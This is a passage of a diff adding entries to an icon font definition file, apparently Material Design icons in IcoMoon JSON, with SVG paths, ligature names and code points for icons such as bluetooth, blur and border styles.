46-40 86-86 86h-596c-46 0-86-40-86-86v-596c0-46 40-86 86-86h178c18-50 64-86 120-86s102 36 120 86h178z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "assignment_returned" + ], + "defaultCode": 59489, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "assignment_returned", + "id": 59, + "order": 70, + "prevSize": 24, + "code": 59489, + "name": "assignment_returned" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 59 + }, + { + "icon": { + "paths": [ + "M426 726l342-342-60-60-282 280-110-110-60 60zM512 128c-24 0-42 18-42 42s18 44 42 44 42-20 42-44-18-42-42-42zM810 128c46 0 86 40 86 86v596c0 46-40 86-86 86h-596c-46 0-86-40-86-86v-596c0-46 40-86 86-86h178c18-50 64-86 120-86s102 36 120 86h178z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "assignment_turned_in" + ], + "defaultCode": 59490, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "assignment_turned_in", + "id": 60, + "order": 71, + "prevSize": 24, + "code": 59490, + "name": "assignment_turned_in" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 60 + }, + { + "icon": { + "paths": [ + "M592 550l176-80-176-80-80-176-80 176-176 80 176 80 80 176zM810 86c46 0 86 38 86 84v598c0 46-40 86-86 86h-170l-128 128-128-128h-170c-46 0-86-40-86-86v-598c0-46 40-84 86-84h596z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "assistant" + ], + "defaultCode": 58271, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "assistant", + "id": 61, + "order": 72, + "prevSize": 24, + "code": 58271, + "name": "assistant" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 61 + }, + { + "icon": { + "paths": [ + "M614 256h240v426h-300l-16-84h-240v298h-84v-726h384z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "flag" + ], + "defaultCode": 57683, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "assistant_photo, flag", + "id": 62, + "order": 73, + "prevSize": 24, + "code": 57683, + "name": "flag2" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 62 + }, + { + "icon": { + "paths": [ + "M704 256h64v490c0 130-104 236-234 236s-236-106-236-236v-532c0-94 78-172 172-172s170 78 170 172v448c0 58-48 106-106 106s-108-48-108-106v-406h64v406c0 24 20 42 44 42s42-18 42-42v-448c0-58-48-108-106-108s-108 50-108 108v532c0 94 78 172 172 172s170-78 170-172v-490z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "attach_file" + ], + "defaultCode": 57894, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "attach_file", + "id": 63, + "order": 74, + "prevSize": 24, + "code": 57894, + "name": "attach_file" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 63 + }, + { + "icon": { + "paths": [ + "M504 466c96 26 200 64 200 186 0 88-66 136-150 152v92h-128v-92c-82-18-150-70-156-164h94c4 50 38 90 126 90 94 0 116-46 116-76 0-40-22-78-128-104-120-28-200-78-200-176 0-82 66-136 148-154v-92h128v94c90 22 136 88 138 162h-94c-2-54-32-90-108-90-72 0-114 34-114 80 0 40 32 66 128 92z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "attach_money" + ], + "defaultCode": 57895, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "attach_money", + "id": 64, + "order": 75, + "prevSize": 24, + "code": 57895, + "name": "attach_money" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 64 + }, + { + "icon": { + "paths": [ + "M86 534c0-130 104-236 234-236h448c94 0 170 78 170 172s-76 170-170 170h-362c-58 0-108-48-108-106s50-108 108-108h320v86h-324c-24 0-24 42 0 42h366c46 0 86-38 86-84s-40-86-86-86h-448c-82 0-150 68-150 150s68 148 150 148h406v86h-406c-130 0-234-104-234-234z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "attachment" + ], + "defaultCode": 58044, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "attachment", + "id": 65, + "order": 76, + "prevSize": 24, + "code": 58044, + "name": "attachment" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 65 + }, + { + "icon": { + "paths": [ + "M512 128h298v128h-170v470h-2c-10 96-92 170-190 170-106 0-192-86-192-192s86-192 192-192c22 0 44 4 64 12v-396z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "audiotrack" + ], + "defaultCode": 58273, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "audiotrack", + "id": 66, + "order": 77, + "prevSize": 24, + "code": 58273, + "name": "audiotrack" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 66 + }, + { + "icon": { + "paths": [ + "M800 330c34 52 54 116 54 182 0 188-154 342-342 342v128l-170-172 170-170v128c142 0 256-114 256-256 0-44-12-84-30-120zM512 256c-142 0-256 114-256 256 0 44 10 84 30 120l-62 62c-34-52-54-116-54-182 0-188 154-342 342-342v-128l170 172-170 170v-128z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "autorenew" + ], + "defaultCode": 59491, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "autorenew", + "id": 67, + "order": 78, + "prevSize": 24, + "code": 59491, + "name": "autorenew" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 67 + }, + { + "icon": { + "paths": [ + "M256 512c0-24 18-42 42-42s44 18 44 42-20 42-44 42-42-18-42-42zM768 512c0 24-18 42-42 42s-44-18-44-42 20-42 44-42 42 18 42 42zM470 128h42c212 0 384 172 384 384s-172 384-384 384-384-172-384-384c0-126 60-236 154-306v-2l290 290-60 60-232-230c-42 52-66 116-66 188 0 166 132 298 298 298s298-132 298-298c0-150-112-276-256-296v82h-84v-170zM470 726c0-24 18-44 42-44s42 20 42 44-18 42-42 42-42-18-42-42z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "av_timer" + ], + "defaultCode": 57371, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "av_timer", + "id": 68, + "order": 79, + "prevSize": 24, + "code": 57371, + "name": "av_timer" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 68 + }, + { + "icon": { + "paths": [ + "M810 666l-152-154 152-154-60-60-152 154-154-154-60 60 154 154-154 154 60 60 154-154 152 154zM938 128c46 0 86 40 86 86v596c0 46-40 86-86 86h-640c-30 0-52-16-68-38l-230-346 230-346c16-22 38-38 68-38h640z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "backspace" + ], + "defaultCode": 57674, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "backspace", + "id": 69, + "order": 80, + "prevSize": 24, + "code": 57674, + "name": "backspace" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 69 + }, + { + "icon": { + "paths": [ + "M598 554h128l-214-212-214 212h128v172h172v-172zM826 428c110 8 198 100 198 212 0 118-96 214-214 214h-554c-142 0-256-114-256-256 0-132 100-240 228-254 54-102 160-174 284-174 156 0 284 110 314 258z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "cloud_upload" + ], + "defaultCode": 58051, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "backup, cloud_upload", + "id": 70, + "order": 81, + "prevSize": 24, + "code": 58051, + "name": "cloud_upload" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 70 + }, + { + "icon": { + "paths": [ + "M554 598v-214h-84v214h84zM554 768v-86h-84v86h84zM668 170c32 0 58 26 58 58v654c0 32-26 56-58 56h-312c-32 0-58-24-58-56v-654c0-32 26-58 58-58h70v-84h172v84h70z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "battery_alert" + ], + "defaultCode": 57756, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "battery_alert", + "id": 71, + "order": 82, + "prevSize": 24, + "code": 57756, + "name": "battery_alert" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 71 + }, + { + "icon": { + "paths": [ + "M470 854l170-320h-86v-236l-170 320h86v236zM668 170c32 0 58 26 58 58v654c0 32-26 56-58 56h-312c-32 0-58-24-58-56v-654c0-32 26-58 58-58h70v-84h172v84h70z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "battery_charging_full" + ], + "defaultCode": 57763, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "battery_charging_full", + "id": 72, + "order": 83, + "prevSize": 24, + "code": 57763, + "name": "battery_charging_full" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 72 + }, + { + "icon": { + "paths": [ + "M668 170c32 0 58 26 58 58v654c0 32-26 56-58 56h-312c-32 0-58-24-58-56v-654c0-32 26-58 58-58h70v-84h172v84h70z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "battery_std" + ], + "defaultCode": 57765, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "battery_full, battery_std", + "id": 73, + "order": 84, + "prevSize": 24, + "code": 57765, + "name": "battery_std" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 73 + }, + { + "icon": { + "paths": [ + "M610 542c18-18 30-44 30-72 0-70-58-128-128-128s-128 58-128 128h64c0-36 28-64 64-64s64 28 64 64c0 18-6 32-18 44l-40 40c-20 20-40 50-40 86h68c0-20 16-48 36-68 12-12 28-30 28-30zM552 766v-82h-80v82h80zM668 170c32 0 58 26 58 58v654c0 32-26 56-58 56h-312c-32 0-58-24-58-56v-654c0-32 26-58 58-58h70v-84h172v84h70z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "battery_unknown" + ], + "defaultCode": 57766, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "battery_unknown", + "id": 74, + "order": 85, + "prevSize": 24, + "code": 57766, + "name": "battery_unknown" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 74 + }, + { + "icon": { + "paths": [ + "M744 376c-133.701-133.701-319.17-177.803-486.874-122.374 127.568-14.55 291.962 51.462 424.874 184.374l-244 244c-132.912-132.912-198.924-297.306-184.374-424.874-55.43 167.705-11.327 353.174 122.374 486.874l-122 122c-167.908-167.908-168-441.7-0.275-609.724 0.259-2.212 0.333-2.291 2.551-2.551 168.024-167.725 441.816-167.633 609.724 0.275zM560 622l62-62 274 276-62 60z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "beach_access" + ], + "defaultCode": 60222, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "beach_access", + "id": 75, + "order": 86, + "prevSize": 24, + "code": 60222, + "name": "beach_access" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 75 + }, + { + "icon": { + "paths": [ + "M426 682l384-384-60-60-324 324-152-152-60 60zM810 42c46 0 86 40 86 86v552c0 30-16 54-38 70l-346 232-346-232c-22-16-38-40-38-70v-552c0-46 40-86 86-86h596z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "beenhere" + ], + "defaultCode": 58669, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "beenhere", + "id": 76, + "order": 87, + "prevSize": 24, + "code": 58669, + "name": "beenhere" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 76 + }, + { + "icon": { + "paths": [ + "M512 854c188 0 342-154 342-342 0-78-26-152-72-210l-480 480c58 46 132 72 210 72zM170 512c0 78 26 152 72 210l480-480c-58-46-132-72-210-72-188 0-342 154-342 342zM512 86c236 0 426 190 426 426s-190 426-426 426-426-190-426-426 190-426 426-426z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "block" + ], + "defaultCode": 57675, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "block", + "id": 77, + "order": 88, + "prevSize": 24, + "code": 57675, + "name": "block" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 77 + }, + { + "icon": { + "paths": [ + "M634 696l-80-82v162zM554 248v162l80-82zM756 328l-184 184 184 184-244 242h-42v-324l-196 196-60-60 238-238-238-238 60-60 196 196v-324h42z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "bluetooth" + ], + "defaultCode": 57767, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "bluetooth", + "id": 78, + "order": 89, + "prevSize": 24, + "code": 57767, + "name": "bluetooth2" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 78 + }, + { + "icon": { + "paths": [ + "M550 696l-80-82v162zM470 248v162l80-82zM670 328l-184 184 184 184-244 242h-42v-324l-196 196-60-60 238-238-238-238 60-60 196 196v-324h42zM834 286c40 64 62 142 62 222 0 84-24 160-66 226l-50-50c26-52 42-110 42-172s-16-120-42-172zM608 512l98-98c12 30 20 64 20 98s-8 70-20 100z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "bluetooth_searching" + ], + "defaultCode": 57770, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "bluetooth_audio, bluetooth_searching", + "id": 79, + "order": 90, + "prevSize": 24, + "code": 57770, + "name": "bluetooth_searching" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 79 + }, + { + "icon": { + "paths": [ + "M810 426l86 86-86 86-84-86zM634 696l-80-82v162zM554 248v162l80-82zM756 328l-184 184 184 184-244 242h-42v-324l-196 196-60-60 238-238-238-238 60-60 196 196v-324h42zM298 512l-84 86-86-86 86-86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "bluetooth_connected" + ], + "defaultCode": 57768, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "bluetooth_connected", + "id": 80, + "order": 91, + "prevSize": 24, + "code": 57768, + "name": "bluetooth_connected" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 80 + }, + { + "icon": { + "paths": [ + "M554 776l80-80-80-82v162zM230 170l624 624-60 60-98-98-184 182h-42v-324l-196 196-60-60 238-238-282-282zM554 248v138l-84-86v-214h42l244 242-130 130-60-60 68-70z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "bluetooth_disabled" + ], + "defaultCode": 57769, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "bluetooth_disabled", + "id": 81, + "order": 92, + "prevSize": 24, + "code": 57769, + "name": "bluetooth_disabled" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 81 + }, + { + "icon": { + "paths": [ + "M598 554c24 0 42 20 42 44s-18 42-42 42-44-18-44-42 20-44 44-44zM598 704c12 0 20 10 20 22s-8 20-20 20-22-8-22-20 10-22 22-22zM512 854c188 0 342-154 342-342s-154-342-342-342-342 154-342 342 154 342 342 342zM512 86c236 0 426 190 426 426s-190 426-426 426-426-190-426-426 190-426 426-426zM726 406c12 0 20 8 20 20s-8 22-20 22-22-10-22-22 10-20 22-20zM726 576c12 0 20 10 20 22s-8 20-20 20-22-8-22-20 10-22 22-22zM598 320c-12 0-22-10-22-22s10-20 22-20 20 8 20 20-8 22-20 22zM598 384c24 0 42 18 42 42s-18 44-42 44-44-20-44-44 20-42 44-42zM426 320c-12 0-20-10-20-22s8-20 20-20 22 8 22 20-10 22-22 22zM298 576c12 0 22 10 22 22s-10 20-22 20-20-8-20-20 8-22 20-22zM426 704c12 0 22 10 22 22s-10 20-22 20-20-8-20-20 8-22 20-22zM298 406c12 0 22 8 22 20s-10 22-22 22-20-10-20-22 8-20 20-20zM426 554c24 0 44 20 44 44s-20 42-44 42-42-18-42-42 18-44 42-44zM426 384c24 0 44 18 44 42s-20 44-44 44-42-20-42-44 18-42 42-42z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "blur_circular" + ], + "defaultCode": 58274, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "blur_circular", + "id": 82, + "order": 93, + "prevSize": 24, + "code": 58274, + "name": "blur_circular" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 82 + }, + { + "icon": { + "paths": [ + "M554 726c-24 0-42-20-42-44s18-42 42-42 44 18 44 42-20 44-44 44zM554 554c-24 0-42-18-42-42s18-42 42-42 44 18 44 42-20 42-44 42zM554 384c-24 0-42-18-42-42s18-44 42-44 44 20 44 44-20 42-44 42zM726 534c-12 0-22-10-22-22s10-22 22-22 20 10 20 22-8 22-20 22zM726 362c-12 0-22-8-22-20s10-22 22-22 20 10 20 22-8 20-20 20zM128 128h768v86h-768v-86zM726 704c-12 0-22-10-22-22s10-20 22-20 20 8 20 20-8 22-20 22zM384 726c-24 0-42-20-42-44s18-42 42-42 42 18 42 42-18 44-42 44zM214 576c-36 0-64-28-64-64s28-64 64-64 64 28 64 64-28 64-64 64zM214 406c-36 0-64-28-64-64s28-64 64-64 64 28 64 64-28 64-64 64zM128 896v-86h768v86h-768zM384 384c-24 0-42-18-42-42s18-44 42-44 42 20 42 44-18 42-42 42zM384 554c-24 0-42-18-42-42s18-42 42-42 42 18 42 42-18 42-42 42zM214 746c-36 0-64-28-64-64s28-64 64-64 64 28 64 64-28 64-64 64z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "blur_linear" + ], + "defaultCode": 58275, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "blur_linear", + "id": 83, + "order": 94, + "prevSize": 24, + "code": 58275, + "name": "blur_linear" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 83 + }, + { + "icon": { + "paths": [ + "M128 576c12 0 22 10 22 22s-10 20-22 20-22-8-22-20 10-22 22-22zM256 726c24 0 42 18 42 42s-18 42-42 42-42-18-42-42 18-42 42-42zM426 874c12 0 22 10 22 22s-10 22-22 22-20-10-20-22 8-22 20-22zM128 406c12 0 22 8 22 20s-10 22-22 22-22-10-22-22 10-20 22-20zM256 554c24 0 42 20 42 44s-18 42-42 42-42-18-42-42 18-44 42-44zM896 576c12 0 22 10 22 22s-10 20-22 20-22-8-22-20 10-22 22-22zM426 726c24 0 44 18 44 42s-20 42-44 42-42-18-42-42 18-42 42-42zM106 224l54-54 694 694-56 54-160-162c2 4 2 8 2 12 0 24-18 42-42 42s-44-18-44-42 20-42 44-42c4 0 8 0 12 2l-120-120c-4 30-32 54-64 54-36 0-64-28-64-64 0-32 24-60 54-64l-120-120c2 4 2 8 2 12 0 24-18 44-42 44s-42-20-42-44 18-42 42-42l12 2zM598 874c12 0 20 10 20 22s-8 22-20 22-22-10-22-22 10-22 22-22zM768 298c-24 0-42-18-42-42s18-42 42-42 42 18 42 42-18 42-42 42zM768 470c-24 0-42-20-42-44s18-42 42-42 42 18 42 42-18 44-42 44zM768 640c-24 0-42-18-42-42s18-44 42-44 42 20 42 44-18 42-42 42zM426 298c-24 0-42-18-42-42s18-42 42-42 44 18 44 42-20 42-44 42zM896 448c-12 0-22-10-22-22s10-20 22-20 22 8 22 20-10 22-22 22zM426 150c-12 0-20-10-20-22s8-22 20-22 22 10 22 22-10 22-22 22zM598 150c-12 0-22-10-22-22s10-22 22-22 20 10 20 22-8 22-20 22zM588 490c-28-4-50-26-54-54v-10c0-36 28-64 64-64s64 28 64 64-28 64-64 64h-10zM598 298c-24 0-44-18-44-42s20-42 44-42 42 18 42 42-18 42-42 42z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "blur_off" + ], + "defaultCode": 58276, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "blur_off", + "id": 84, + "order": 95, + "prevSize": 24, + "code": 58276, + "name": "blur_off" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 84 + }, + { + "icon": { + "paths": [ + "M598 362c36 0 64 28 64 64s-28 64-64 64-64-28-64-64 28-64 64-64zM598 534c36 0 64 28 64 64s-28 64-64 64-64-28-64-64 28-64 64-64zM426 726c24 0 44 18 44 42s-20 42-44 42-42-18-42-42 18-42 42-42zM426 362c36 0 64 28 64 64s-28 64-64 64-64-28-64-64 28-64 64-64zM598 874c12 0 20 10 20 22s-8 22-20 22-22-10-22-22 10-22 22-22zM598 726c24 0 42 18 42 42s-18 42-42 42-44-18-44-42 20-42 44-42zM896 576c12 0 22 10 22 22s-10 20-22 20-22-8-22-20 10-22 22-22zM768 214c24 0 42 18 42 42s-18 42-42 42-42-18-42-42 18-42 42-42zM768 384c24 0 42 18 42 42s-18 44-42 44-42-20-42-44 18-42 42-42zM768 726c24 0 42 18 42 42s-18 42-42 42-42-18-42-42 18-42 42-42zM768 554c24 0 42 20 42 44s-18 42-42 42-42-18-42-42 18-44 42-44zM426 534c36 0 64 28 64 64s-28 64-64 64-64-28-64-64 28-64 64-64zM426 298c-24 0-42-18-42-42s18-42 42-42 44 18 44 42-20 42-44 42zM426 150c-12 0-20-10-20-22s8-22 20-22 22 10 22 22-10 22-22 22zM426 874c12 0 22 10 22 22s-10 22-22 22-20-10-20-22 8-22 20-22zM128 576c12 0 22 10 22 22s-10 20-22 20-22-8-22-20 10-22 22-22zM598 150c-12 0-22-10-22-22s10-22 22-22 20 10 20 22-8 22-20 22zM598 298c-24 0-44-18-44-42s20-42 44-42 42 18 42 42-18 42-42 42zM896 448c-12 0-22-10-22-22s10-20 22-20 22 8 22 20-10 22-22 22zM256 214c24 0 42 18 42 42s-18 42-42 42-42-18-42-42 18-42 42-42zM128 406c12 0 22 8 22 20s-10 22-22 22-22-10-22-22 10-20 22-20zM256 384c24 0 42 18 42 42s-18 44-42 44-42-20-42-44 18-42 42-42zM256 726c24 0 42 18 42 42s-18 42-42 42-42-18-42-42 18-42 42-42zM256 554c24 0 42 20 42 44s-18 42-42 42-42-18-42-42 18-44 42-44z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "blur_on" + ], + "defaultCode": 58277, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "blur_on", + "id": 85, + "order": 96, + "prevSize": 24, + "code": 58277, + "name": "blur_on" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 85 + }, + { + "icon": { + "paths": [ + "M256 170v342l106-64 108 64v-342h-214zM768 86c46 0 86 38 86 84v684c0 46-40 84-86 84h-512c-46 0-86-38-86-84v-684c0-46 40-84 86-84h512z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "class" + ], + "defaultCode": 59502, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "book, class", + "id": 86, + "order": 97, + "prevSize": 24, + "code": 59502, + "name": "class" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 86 + }, + { + "icon": { + "paths": [ + "M726 128c46 0 84 40 84 86v682l-298-128-298 128v-682c0-46 38-86 84-86h428z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "turned_in" + ], + "defaultCode": 59622, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "bookmark, turned_in", + "id": 87, + "order": 98, + "prevSize": 24, + "code": 59622, + "name": "turned_in" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 87 + }, + { + "icon": { + "paths": [ + "M726 768v-554h-428v554l214-94zM726 128c46 0 84 40 84 86v682l-298-128-298 128v-682c0-46 38-86 84-86h428z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "turned_in_not" + ], + "defaultCode": 59623, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "bookmark_border, turned_in_not", + "id": 88, + "order": 99, + "prevSize": 24, + "code": 59623, + "name": "turned_in_not" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 88 + }, + { + "icon": { + "paths": [ + "M810 470v-256h-256v256h256zM810 810v-256h-256v256h256zM470 470v-256h-256v256h256zM470 810v-256h-256v256h256zM128 128h768v768h-768v-768z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "border_all" + ], + "defaultCode": 57896, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "border_all", + "id": 89, + "order": 100, + "prevSize": 24, + "code": 57896, + "name": "border_all" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 89 + }, + { + "icon": { + "paths": [ + "M214 640v86h-86v-86h86zM128 896v-86h768v86h-768zM214 470v84h-86v-84h86zM810 384v-86h86v86h-86zM810 128h86v86h-86v-86zM214 298v86h-86v-86h86zM810 726v-86h86v86h-86zM810 554v-84h86v84h-86zM726 128v86h-86v-86h86zM554 128v86h-84v-86h84zM726 470v84h-86v-84h86zM554 298v86h-84v-86h84zM214 128v86h-86v-86h86zM554 470v84h-84v-84h84zM384 128v86h-86v-86h86zM554 640v86h-84v-86h84zM384 470v84h-86v-84h86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "border_bottom" + ], + "defaultCode": 57897, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "border_bottom", + "id": 90, + "order": 101, + "prevSize": 24, + "code": 57897, + "name": "border_bottom" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 90 + }, + { + "icon": { + "paths": [ + "M640 214v-86h86v86h-86zM640 554v-84h86v84h-86zM640 896v-86h86v86h-86zM470 214v-86h84v86h-84zM810 128h86v86h-86v-86zM470 384v-86h84v86h-84zM810 384v-86h86v86h-86zM810 896v-86h86v86h-86zM810 554v-84h86v84h-86zM810 726v-86h86v86h-86zM470 554v-84h84v84h-84zM128 214v-86h86v86h-86zM128 384v-86h86v86h-86zM128 554v-84h86v84h-86zM128 726v-86h86v86h-86zM128 896v-86h86v86h-86zM470 896v-86h84v86h-84zM470 726v-86h84v86h-84zM298 896v-86h86v86h-86zM298 554v-84h86v84h-86zM298 214v-86h86v86h-86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "border_clear" + ], + "defaultCode": 57898, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "border_clear", + "id": 91, + "order": 102, + "prevSize": 24, + "code": 57898, + "name": "border_clear" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 91 + }, + { + "icon": { + "paths": [ + "M0 854h1024v170h-1024v-170zM884 172l-84 84-160-160 84-84c16-16 44-16 60 0l100 100c16 16 16 44 0 60zM758 298l-428 428h-160v-160l428-428z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "border_color" + ], + "defaultCode": 57899, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "border_color", + "id": 92, + "order": 103, + "prevSize": 24, + "code": 57899, + "name": "border_color" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 92 + }, + { + "icon": { + "paths": [ + "M810 896v-86h86v86h-86zM640 896v-86h86v86h-86zM470 726v-86h84v86h-84zM810 384v-86h86v86h-86zM810 128h86v86h-86v-86zM128 554v-84h768v84h-768zM470 896v-86h84v86h-84zM810 726v-86h86v86h-86zM554 128v86h-84v-86h84zM554 298v86h-84v-86h84zM726 128v86h-86v-86h86zM384 128v86h-86v-86h86zM214 128v86h-86v-86h86zM298 896v-86h86v86h-86zM128 726v-86h86v86h-86zM214 298v86h-86v-86h86zM128 896v-86h86v86h-86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "border_horizontal" + ], + "defaultCode": 57900, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "border_horizontal", + "id": 93, + "order": 104, + "prevSize": 24, + "code": 57900, + "name": "border_horizontal" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 93 + }, + { + "icon": { + "paths": [ + "M810 726v-86h86v86h-86zM810 896v-86h86v86h-86zM554 128v342h342v84h-342v342h-84v-342h-342v-84h342v-342h84zM640 896v-86h86v86h-86zM810 128h86v86h-86v-86zM810 384v-86h86v86h-86zM726 128v86h-86v-86h86zM214 128v86h-86v-86h86zM384 128v86h-86v-86h86zM128 726v-86h86v86h-86zM214 298v86h-86v-86h86zM298 896v-86h86v86h-86zM128 896v-86h86v86h-86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "border_inner" + ], + "defaultCode": 57901, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "border_inner", + "id": 94, + "order": 105, + "prevSize": 24, + "code": 57901, + "name": "border_inner" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 94 + }, + { + "icon": { + "paths": [ + "M640 214v-86h86v86h-86zM640 554v-84h86v84h-86zM810 896v-86h86v86h-86zM810 554v-84h86v84h-86zM810 128h86v86h-86v-86zM810 726v-86h86v86h-86zM640 896v-86h86v86h-86zM810 384v-86h86v86h-86zM128 896v-768h86v768h-86zM298 554v-84h86v84h-86zM298 214v-86h86v86h-86zM298 896v-86h86v86h-86zM470 554v-84h84v84h-84zM470 384v-86h84v86h-84zM470 214v-86h84v86h-84zM470 726v-86h84v86h-84zM470 896v-86h84v86h-84z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "border_left" + ], + "defaultCode": 57902, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "border_left", + "id": 95, + "order": 106, + "prevSize": 24, + "code": 57902, + "name": "border_left" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 95 + }, + { + "icon": { + "paths": [ + "M384 470v84h-86v-84h86zM554 640v86h-84v-86h84zM810 810v-596h-596v596h596zM128 128h768v768h-768v-768zM726 470v84h-86v-84h86zM554 470v84h-84v-84h84zM554 298v86h-84v-86h84z" + ], + "attrs": [], + 